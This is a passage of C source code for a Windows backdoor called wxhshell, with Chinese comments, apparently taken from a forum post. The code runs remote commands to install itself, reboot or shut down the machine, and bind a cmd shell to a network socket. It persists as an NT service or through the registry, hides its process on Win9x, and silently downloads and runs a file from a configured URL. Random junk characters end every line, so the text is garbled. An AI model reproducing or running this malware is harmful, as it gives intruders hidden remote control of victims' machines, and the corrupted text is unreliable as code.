      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fhg'4FO  
    break; B/16EuH#  
  } U2`:'  
  // 安装 z&9ljQ iF  
  case 'i': { s58dHnj5+  
    if(Install()) hrX/,D -c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~b NH~3  
    else \6AM?}v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rX^uHq8  
    break; N(i.E5&9  
    } C#[P<=v  
  // 卸载 vAP1PQX;  
  case 'r': { b|V <Kp  
    if(Uninstall()) y:E$n!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0-gU+ig  
    else U^}7DJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z}SJ~WY'[  
    break; k/F#-},Q.  
    } R.1.LB  
  // 显示 wxhshell 所在路径 sC"w{_D@*4  
  case 'p': { 6# bTlmcg  
    char svExeFile[MAX_PATH]; otaRA  
    strcpy(svExeFile,"\n\r"); zZd.U\"2  
      strcat(svExeFile,ExeFile); _k}Qe ;  
        send(wsh,svExeFile,strlen(svExeFile),0); B|o@ |zF  
    break; J<0sT=/2$  
    } QUkP&sz  
  // 重启 r7R39#  
  case 'b': { }x|q*E\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }S*]#jr&  
    if(Boot(REBOOT)) iYiTkq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &CQ28WG X  
    else { :/gHqEC24  
    closesocket(wsh); #HP-ne; #  
    ExitThread(0); E#d~.#uH  
    } *|q{(KX  
    break; B3yTN6-  
    } GsO(\hR6^  
  // 关机 |)d%3s\  
  case 'd': { pcIS}+L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }x#e.}hf&  
    if(Boot(SHUTDOWN)) JS03B Itt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XlXt,  
    else { J>M9t%f@  
    closesocket(wsh); fJNK@F  
    ExitThread(0); leF!Uog  
    } %INkuNa8\  
    break; hKg +A  
    } IPn!iv)  
  // 获取shell W2%@}IDm  
  case 's': { J3'q.Pc  
    CmdShell(wsh); UFZOu%Y  
    closesocket(wsh); HP7~Zn)c  
    ExitThread(0); .(8 V  
    break; tYgHJ~1L*  
  } DBGU:V,85  
  // 退出 K8&) kfyI  
  case 'x': { !ni 1 qM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P B-x_D  
    CloseIt(wsh); oP T)vN?  
    break; ?x 0gI   
    } $v_&j E  
  // 离开 n2_;:=  
  case 'q': { yIr0D 6L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /]0SF_dZ  
    closesocket(wsh); 2&pE  
    WSACleanup(); }l}_'FmQ  
    exit(1); FbMtor  
    break; y5KeUMcu  
        } LRaO}-<b  
  } UlNiH  
  } <5Ll<0  
s1sn,?  
  // 提示信息 7}Mnv WP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;xUo(^t7>  
} g[O  
  } 7K&Uu3m  
@@-TW`G7  
  return; Cb|1Jtb  
} 2( I4h[  
-da: j-_  
// shell模块句柄 K } T=j+  
int CmdShell(SOCKET sock) @d^DU5ats>  
{ RO3q!+a$/  
STARTUPINFO si; | Vlx:  
ZeroMemory(&si,sizeof(si)); +*`kJ)uP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K;Hgq4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1R yE8DdP  
PROCESS_INFORMATION ProcessInfo; gH,Pz  
char cmdline[]="cmd"; 6WIs*$T2*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =z"8#_3A  
  return 0; t_16icF9U  
} PJ&L7   
)FG/   
// 自身启动模式 b>i5r$S8G  
int StartFromService(void) S[hyN7sI  
{ T*8 S7l  
typedef struct T~L V\}h  
{ q$b 4S4Z7  
  DWORD ExitStatus; FG!hb?_1  
  DWORD PebBaseAddress; br TP}A  
  DWORD AffinityMask; #*w)rGkU2  
  DWORD BasePriority; Ahbh,U  
  ULONG UniqueProcessId; {98e_z w  
  ULONG InheritedFromUniqueProcessId; 8lDb<i  
}   PROCESS_BASIC_INFORMATION; V?0IMc  
bYpeI(zK  
PROCNTQSIP NtQueryInformationProcess; ^~vM*.j~j  
tux0}|[^'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T%FW|jKw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z]tQmV8e  
XHdhSFpm  
  HANDLE             hProcess; f[R~oc5P0  
  PROCESS_BASIC_INFORMATION pbi; bWlY Q  
Y-st2r[,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4{vEW(  
  if(NULL == hInst ) return 0; |N)),/R_  
z%T|L[(6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L A A(2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XpkOCo02  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |'P$zMAF  
zG/? wP"  
  if (!NtQueryInformationProcess) return 0; k?L2LIB<  
Ndb7>"W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qP&:9eL  
  if(!hProcess) return 0; '3sySsD&O  
$%'3w~h`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vGPsjxk&  
r_,;[+!  
  CloseHandle(hProcess); `jr?I {m;  
Ya!%o> J%t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D*PEIsV  
if(hProcess==NULL) return 0; m__pQu:  
l1O"hd'~s  
HMODULE hMod; uM,Ps}  
char procName[255]; Z zp"CK 5  
unsigned long cbNeeded; eV(9I v[  
0b n%L~KU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GP %hf{  
4$ihnb`DQN  
  CloseHandle(hProcess); v2:i'j6  
$?k]KD  
if(strstr(procName,"services")) return 1; // 以服务启动 uPYH3<  
< FO=PM  
  return 0; // 注册表启动 &dK !+  
} mW{>  
,=[% #gS  
// 主模块 FY^Nn  
int StartWxhshell(LPSTR lpCmdLine) |S |'o*u  
{ <Q- m &  
  SOCKET wsl; ;y1/b(t  
BOOL val=TRUE; yf8kBT:&S  
  int port=0; \weg%a  
  struct sockaddr_in door; tk=S4 /VWv  
YOrq)_ l  
  if(wscfg.ws_autoins) Install(); ~Fwbi  
Sl^PELU  
port=atoi(lpCmdLine); ZE_  
hLk6Hqr7  
if(port<=0) port=wscfg.ws_port; ^eO/?D8~h  
b.\xPb  
  WSADATA data; ).(y#zJ7P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *W^ZXhrZ  
GQCdB>   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z(Y:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d(ypFd9z  
  door.sin_family = AF_INET; T{f$S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qe ip h  
  door.sin_port = htons(port); ]PoWL;E'  
B {:a,V7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0{8L^ jB/  
closesocket(wsl); %-.;sO=g  
return 1; p)?6#~9$  
} EEL3~H{(  
S7PWP< 9  
  if(listen(wsl,2) == INVALID_SOCKET) { sO 6=w%l^  
closesocket(wsl); yrfV&C%=n  
return 1; $YcB=l  
} w( XZSE  
  Wxhshell(wsl); SUUN_w~  
  WSACleanup(); 3z2 OW@zL$  
x(eX.>o\  
return 0; ^IIy>  
v}V[sIs}  
} ~eoM 2XlW  
09G47YkSy1  
// 以NT服务方式启动 kV5)3%?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p:Lmf8EI  
{ m}=E$zPbO  
DWORD   status = 0; "UNFB3  
  DWORD   specificError = 0xfffffff; Px \cT  
.1{{E8Fj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $$&.}}.,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }b&S3?ONt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .#|?-5q/iN  
  serviceStatus.dwWin32ExitCode     = 0; Q!U}  
  serviceStatus.dwServiceSpecificExitCode = 0; urjf3h[%  
  serviceStatus.dwCheckPoint       = 0; 8j3Y&m4^  
  serviceStatus.dwWaitHint       = 0; NM![WvtjW  
_(kaaWJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0.n[_?<(  
  if (hServiceStatusHandle==0) return; flFdoEV.U)  
d,JDfG)  
status = GetLastError(); @&WHX#  
  if (status!=NO_ERROR) *pS 7,Hm  
{ F!0iM)1o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ` K {k0_{  
    serviceStatus.dwCheckPoint       = 0; ';/J-l/SE  
    serviceStatus.dwWaitHint       = 0; /kkUEo+  
    serviceStatus.dwWin32ExitCode     = status; /YF:WKr2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'D ?o^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oR=i5lAU  
    return; |.UY' B  
  } .\^0RyJE  
Hy[: _E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M %!;5  
  serviceStatus.dwCheckPoint       = 0; D5?8`U m=  
  serviceStatus.dwWaitHint       = 0; n%J=!z3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BrwC9:  
} *$NZi*z3  
 xV5UaD<  
// 处理NT服务事件,比如:启动、停止 y3s+.5;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RE%f'y  
{ p,$N-22a  
switch(fdwControl) {.{Wl,|7  
{ |9c~kTjK  
case SERVICE_CONTROL_STOP: tULGfvp  
  serviceStatus.dwWin32ExitCode = 0; bP 9ly9FH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @3O)#r}\  
  serviceStatus.dwCheckPoint   = 0; "yaxHd  
  serviceStatus.dwWaitHint     = 0; NEri{qxm  
  { crP2jF!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GN(<$,~g  
  } !ou#g5Q@z  
  return; ~,HFd`  
case SERVICE_CONTROL_PAUSE: jBw)8~tYm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K -rR)-rI  
  break; ls]N&!/hq  
case SERVICE_CONTROL_CONTINUE: V<0iYi;4=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CPP~,E_  
  break; ?";SUku  
case SERVICE_CONTROL_INTERROGATE: cZ?QI6|[  
  break; d-UeItyW*  
}; Kg$RT?q-C6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $El-pMq  
} 1I9v`eT4  
<GNLDpj  
// 标准应用程序主函数 S v>6:y9?G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k5.5$<< T  
{ "lL+Heq>V  
ns8s2kYcm  
// 获取操作系统版本 x 6`!  
OsIsNt=GetOsVer(); "+"=iwEAz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FoyYWj?,R  
' {,xQf*x  
  // 从命令行安装 XZM3zlg*  
  if(strpbrk(lpCmdLine,"iI")) Install(); `NsjtT'_  
sV  
  // 下载执行文件 .9qK88fUR  
if(wscfg.ws_downexe) { tUJRNEg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uPA ( 1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7mi!yTr}  
} 'kZ,:.v  
xLz=)k[''  
if(!OsIsNt) { eyJ07  
// 如果时win9x,隐藏进程并且设置为注册表启动 GlAI~\A  
HideProc(); p?:5 U[KM  
StartWxhshell(lpCmdLine); neDXzMxF  
} G:=hg6 '  
else 3`HK^((o  
  if(StartFromService()) @0?!bua_|  
  // 以服务方式启动 >0IZ%Wiz  
  StartServiceCtrlDispatcher(DispatchTable); C|$q Vh>  
else pSw/QO9  
  // 普通方式启动 7C{ y NX#  
  StartWxhshell(lpCmdLine); *Y m? gCig  
Dsg>~J'  
return 0; I#M3cI!X?  
}
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只看该作者 1 发表于: 2006-10-10
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